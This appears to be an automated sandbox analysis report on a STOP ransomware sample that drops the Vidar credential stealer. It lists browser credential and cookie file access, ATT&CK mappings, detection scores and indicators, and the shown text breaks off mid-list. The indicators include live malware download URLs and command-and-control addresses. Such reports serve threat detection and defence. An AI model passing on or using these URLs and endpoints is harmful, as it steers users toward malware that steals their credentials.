Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

Code function: 0_2_00406CBC GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00406CBC

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

1_2_00419F90

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

Code function: 1_2_0042FE47 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

1_2_0042FE47

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

1_2_00419F90

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: build2.exe, 00000008.00000002.2930170131.0000000003210000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Vidar stealer

Source: Yara match	File source: 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build2.exe PID: 7660, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Source: Yara match

File source: Process Memory Space: build2.exe PID: 7660, type: MEMORYSTR

Remote Access Functionality

Yara detected Vidar stealer

Source: Yara match	File source: 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build2.exe PID: 7660, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	1 Taint Shared Content	11 Archive Collected Data	Exfiltration Over Other Network Medium	12 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	2 Data Encrypted for Impact	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	2 Native API	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	21 Encrypted Channel	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	3 Command and Scripting Interpreter	1 Services File Permissions Weakness	211 Process Injection	22 Software Packing	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	Automated Exfiltration	1 Non-Standard Port			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	44 System Information Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	2 Non-Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	1 Services File Permissions Weakness	1 Masquerading	LSA Secrets	1 Query Registry	SSH	Keylogging	Scheduled Transfer	113 Application Layer Protocol			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	271 Security Software Discovery	VNC	GUI Input Capture	Data Transfer Size Limits	Multiband Communication			Service Stop	Botnet	Domain Properties
External Remote Services	Systemd Timers	Startup Items	Startup Items	211 Process Injection	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	Commonly Used Port			Inhibit System Recovery	Web Services	DNS
Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Services File Permissions Weakness	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Exfiltration Over Alternative Protocol	Application Layer Protocol			Defacement	Serverless	Network Trust Dependencies
Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Web Protocols			Internal Defacement	Malvertising	Network Topology
Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	File Transfer Protocols			External Defacement	Compromise Infrastructure	IP Addresses

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
sbvN2ih5AU.exe	80%	Virustotal		Browse
sbvN2ih5AU.exe	73%	ReversingLabs	Win32.Trojan.MintZard
sbvN2ih5AU.exe	100%	Avira	TR/Stop.npjgv
sbvN2ih5AU.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe	100%	Avira	TR/Stop.npjgv
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe	86%	ReversingLabs	Win32.Ransomware.Stop
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sqlite3[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
zexeq.com	21%	Virustotal		Browse
brusuax.com	19%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://zexeq.com/files/1/build3.exe$run	100%	URL Reputation	malware
http://www.wikipedia.com/	0%	URL Reputation	safe
https://49.12.114.15:10220/mozglue.dll	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/ocal	0%	Avira URL Cloud	safe
http://zexeq.com/files/1/build3.exee_	100%	Avira URL Cloud	malware
https://49.12.114.15:10220/$U	0%	Avira URL Cloud	safe
http://zexeq.com/test1/get.php	100%	Avira URL Cloud	malware
https://49.12.114.15:10220/vcruntime140.dllUser	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/V=	0%	Avira URL Cloud	safe
http://zexeq.com/test1/get.php	20%	Virustotal		Browse
http://zexeq.com/files/1/build3.exee_	18%	Virustotal		Browse
https://49.12.114.15:10220/vcruntime140.dllUser	1%	Virustotal		Browse
https://49.12.114.15:10220/mozglue.dll	1%	Virustotal		Browse
https://49.12.114.15:10220/114.15:10220/msvcp140.dllessionKeyBackward	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/mozglue.dllEdge	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/mozglue.dllposition:	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/softokn3.dll	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/nss3.dllft	0%	Avira URL Cloud	safe
https://we.tl/t-99MNqXMr	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/	0%	Avira URL Cloud	safe
http://zexeq.com/files/1/build3.exe7	100%	Avira URL Cloud	malware
http://brusuax.com/dl/build2.exerun	100%	Avira URL Cloud	malware
https://49.12.114.15:10220/freebl3.dllftware	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/softokn3.dll	1%	Virustotal		Browse
https://49.12.114.15:10220/ng	0%	Avira URL Cloud	safe
http://zexeq.com/files/1/build3.exe7	14%	Virustotal		Browse
http://brusuax.com/dl/build2.exe	100%	Avira URL Cloud	malware
https://49.12.114.15:10220/	1%	Virustotal		Browse
https://49.12.114.15:10220/nss3.dll)E	0%	Avira URL Cloud	safe
https://we.tl/t-99MNqXMr	0%	Virustotal		Browse
http://brusuax.com/dl/build2.exerun	8%	Virustotal		Browse
https://49.12.114.15:10220J	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/vcruntime140.dllI	0%	Avira URL Cloud	safe
http://zexeq.com/files/1/build3.exe$rune	100%	Avira URL Cloud	malware
http://zexeq.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E830996378	100%	Avira URL Cloud	malware
https://49.12.114.15:10220l	0%	Avira URL Cloud	safe
http://brusuax.com/dl/build2.exe	24%	Virustotal		Browse
https://49.12.114.15:10220/freebl3.dllposition:	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/morySize	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/Q=	0%	Avira URL Cloud	safe
http://zexeq.com/files/1/build3.exe$rune	17%	Virustotal		Browse
https://49.12.114.15:10220/vcruntime140.dll	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/soft	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/16ServicePackMinorVersion	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/freebl3.dll	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/msvcp140.dll	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/msvcp140.dlldge	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/mozglue.dllftware	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/soft	1%	Virustotal		Browse
https://49.12.114.15:10220/vcruntime140.dll	1%	Virustotal		Browse
https://49.12.114.15:10220/freebl3.dll	1%	Virustotal		Browse
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/114.15:10220/softokn3.dllessionKeyBackward	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/msvcp140.dll	1%	Virustotal		Browse
http://zexeq.com/files/1/build3.exerun	100%	Avira URL Cloud	malware
https://49.12.114.15:10220ing	0%	Avira URL Cloud	safe
https://we.tl/t-99MNqXMrdS	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/lU	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/tU	0%	Avira URL Cloud	safe
http://zexeq.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true	100%	Avira URL Cloud	malware
https://49.12.114.15:10220/sqlite3.dll	0%	Avira URL Cloud	safe
http://zexeq.com/files/1/build3.exe#	100%	Avira URL Cloud	malware
https://49.12.114.15/	0%	Avira URL Cloud	safe
https://49.12.114.15:10220	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/nss3.dll	0%	Avira URL Cloud	safe
https://49.12.114.15:10220freebl3.dllposition:	0%	Avira URL Cloud	safe
http://brusuax.com/dl/build2.exe$run	100%	Avira URL Cloud	malware
https://49.12.114.15:10220/softokn3.dlldge	0%	Avira URL Cloud	safe
https://49.12.114.15:10220/les_AutoUpdate_1	0%	Avira URL Cloud	safe
https://49.12.114.15/r0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
t.me	149.154.167.99	true	false		high
api.2ip.ua	104.21.65.24	true	false		high
zexeq.com	175.120.254.9	true	true	21%, Virustotal, Browse	unknown
brusuax.com	190.12.87.61	true	true	19%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://zexeq.com/test1/get.php	true	20%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://brusuax.com/dl/build2.exe	true	24%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://zexeq.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true	true	Avira URL Cloud: malware	unknown
https://api.2ip.ua/geo.json	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://assets.activity.windows.com/v1/assets	sbvN2ih5AU.exe, 00000004.00000003.1958969742.00000000034E0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://zexeq.com/files/1/build3.exee_	sbvN2ih5AU.exe, 00000004.00000002.2320254123.0000000000978000.00000004.00000020.00020000.00000000.sdmp	true	18%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://49.12.114.15:10220/$U	build2.exe, 00000008.00000002.2928275478.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.12.114.15:10220/ocal	build2.exe, 00000008.00000003.1946739739.0000000003262000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.12.114.15:10220/mozglue.dll	build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2928275478.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2926994377.0000000000499000.00000040.00000400.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://49.12.114.15:10220/vcruntime140.dllUser	build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://49.12.114.15:10220/V=	build2.exe, 00000008.00000002.2928275478.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1880639902.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/fvpy	sbvN2ih5AU.exe, 00000006.00000002.2927695461.00000000005EB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json.	sbvN2ih5AU.exe, 00000004.00000003.1696735265.000000000091C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220/114.15:10220/msvcp140.dllessionKeyBackward	build2.exe, 00000008.00000002.2928275478.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/andre-fuchs/kerning-pairs/blob/master/LICENSE.md).	30264859306.ttf.4.dr	false		high
https://49.12.114.15:10220/mozglue.dllEdge	build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.12.114.15:10220/mozglue.dllposition:	build2.exe, 00000008.00000002.2926994377.0000000000499000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.json&	sbvN2ih5AU.exe, 00000006.00000003.1702964755.0000000000649000.00000004.00000020.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220/nss3.dllft	build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.12.114.15:10220/softokn3.dll	build2.exe, 00000008.00000002.2928275478.00000000007C2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe	build2.exe, 00000008.00000002.2926994377.0000000000576000.00000040.00000400.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonvk	sbvN2ih5AU.exe, 0000000D.00000002.1897402167.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://we.tl/t-99MNqXMr	sbvN2ih5AU.exe, 00000004.00000002.2321037437.0000000002F79000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2275123419.0000000002F78000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2267933196.0000000002F78000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000006.00000002.2927695461.000000000065B000.00000004.00000020.00020000.00000000.sdmp	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://49.12.114.15:10220/	build2.exe, 00000008.00000003.2900086739.0000000003263000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869315115.0000000000806000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1880128885.000000000326A000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://zexeq.com/files/1/build3.exe7	sbvN2ih5AU.exe, 00000004.00000002.2320254123.0000000000978000.00000004.00000020.00020000.00000000.sdmp	false	14%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://brusuax.com/dl/build2.exerun	sbvN2ih5AU.exe, 00000004.00000002.2320254123.000000000091D000.00000004.00000020.00020000.00000000.sdmp	false	8%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://api.2ip.ua/geo.json$r	sbvN2ih5AU.exe, 00000001.00000002.1685680959.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.reddit.com/	sbvN2ih5AU.exe, 00000004.00000003.1956889517.00000000034E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220/freebl3.dllftware	build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.12.114.15:10220/ng	build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199601319247	build2.exe, 00000007.00000002.1799028749.00000000006F0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2926994377.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json_	sbvN2ih5AU.exe, 0000000A.00000002.1834662458.00000000006D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonX2	sbvN2ih5AU.exe, 00000006.00000002.2927695461.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199601319247helloWFQY12O5J6Nr.$v	build2.exe, 00000007.00000002.1799028749.00000000006F0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2926994377.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://api.2ip.ua/f	sbvN2ih5AU.exe, 00000004.00000003.1696735265.000000000091C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonQ	sbvN2ih5AU.exe, 0000000A.00000002.1834662458.00000000006D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220/nss3.dll)E	build2.exe, 00000008.00000002.2928275478.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.12.114.15:10220J	build2.exe, 00000008.00000003.1869315115.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	build2.exe, 00000008.00000002.2926994377.0000000000576000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1917064003.000000000080D000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1926184337.00000000039CF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220/vcruntime140.dllI	build2.exe, 00000008.00000002.2928275478.0000000000758000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://zexeq.com/files/1/build3.exe$rune	sbvN2ih5AU.exe, 00000004.00000002.2320254123.0000000000978000.00000004.00000020.00020000.00000000.sdmp	false	17%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://zexeq.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E830996378	sbvN2ih5AU.exe, 00000006.00000002.2927695461.00000000005EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://t.me/bg3gotymedvsMozilla/5.0	build2.exe, 00000007.00000002.1799028749.00000000006F0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2926994377.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json;	sbvN2ih5AU.exe, 0000000A.00000003.1834175772.0000000000725000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000003.1833157178.0000000000723000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000002.1834728118.0000000000725000.00000004.00000020.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220l	build2.exe, 00000008.00000002.2926994377.00000000004DD000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://api.2ip.ua/geo.json4	sbvN2ih5AU.exe, 00000004.00000003.1696735265.0000000000953000.00000004.00000020.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220/freebl3.dllposition:	build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.youtube.com/	sbvN2ih5AU.exe, 00000004.00000003.1957051104.00000000034E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220/Q=	build2.exe, 00000008.00000003.1880639902.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.12.114.15:10220/morySize	build2.exe, 00000008.00000003.2899637257.0000000003262000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2930720155.000000000326A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1917260554.0000000003262000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1946739739.0000000003262000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.2900086739.0000000003263000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.json2	sbvN2ih5AU.exe, 00000006.00000002.2927695461.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220/vcruntime140.dll	build2.exe, 00000008.00000002.2928275478.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2928275478.0000000000758000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://49.12.114.15:10220/soft	build2.exe, 00000008.00000002.2928275478.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1880639902.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.2ip.ua/-	sbvN2ih5AU.exe, 0000000D.00000002.1897402167.000000000061A000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000D.00000003.1895591064.0000000000619000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonN	sbvN2ih5AU.exe, 0000000A.00000002.1834662458.00000000006D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220/16ServicePackMinorVersion	build2.exe, 00000008.00000003.1946739739.0000000003262000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://49.12.114.15:10220/freebl3.dll	build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2928275478.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://49.12.114.15:10220/msvcp140.dll	build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2928275478.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonA	sbvN2ih5AU.exe, 00000004.00000002.2320254123.00000000008B0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220/msvcp140.dlldge	build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonC	sbvN2ih5AU.exe, 0000000A.00000003.1834175772.0000000000725000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000003.1833157178.0000000000723000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000002.1834728118.0000000000725000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/	build2.exe, 00000008.00000002.2928275478.000000000079A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://49.12.114.15:10220/mozglue.dllftware	build2.exe, 00000008.00000002.2926994377.000000000044C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://web.telegram.org	build2.exe, 00000008.00000003.1824602639.00000000007D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/#	sbvN2ih5AU.exe, 0000000D.00000002.1897402167.000000000061A000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000D.00000003.1895591064.0000000000619000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/TL	sbvN2ih5AU.exe, 0000000A.00000003.1834175772.0000000000725000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000003.1833157178.0000000000723000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000002.1834728118.0000000000725000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.amazon.com/	sbvN2ih5AU.exe, 00000004.00000003.1956597257.00000000034E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	build2.exe, 00000008.00000002.2926994377.0000000000576000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1917064003.000000000080D000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1926184337.00000000039CF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://zexeq.com/files/1/build3.exe$run	sbvN2ih5AU.exe, 00000006.00000002.2927695461.0000000000640000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://www.twitter.com/	sbvN2ih5AU.exe, 00000004.00000003.1956966417.00000000034E0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.openssl.org/support/faq.html	sbvN2ih5AU.exe, 0000000D.00000002.1897177575.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	sbvN2ih5AU.exe, 00000000.00000002.1664717343.00000000026F0000.00000040.00001000.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000005.00000002.1693753075.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000006.00000002.2927187768.0000000000400000.00000040.00000400.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000009.00000002.1813253516.0000000002620000.00000040.00001000.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000002.1834461472.0000000000400000.00000040.00000400.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000C.00000002.1887517098.00000000027E0000.00000040.00001000.00020000.00000000.sdmp, 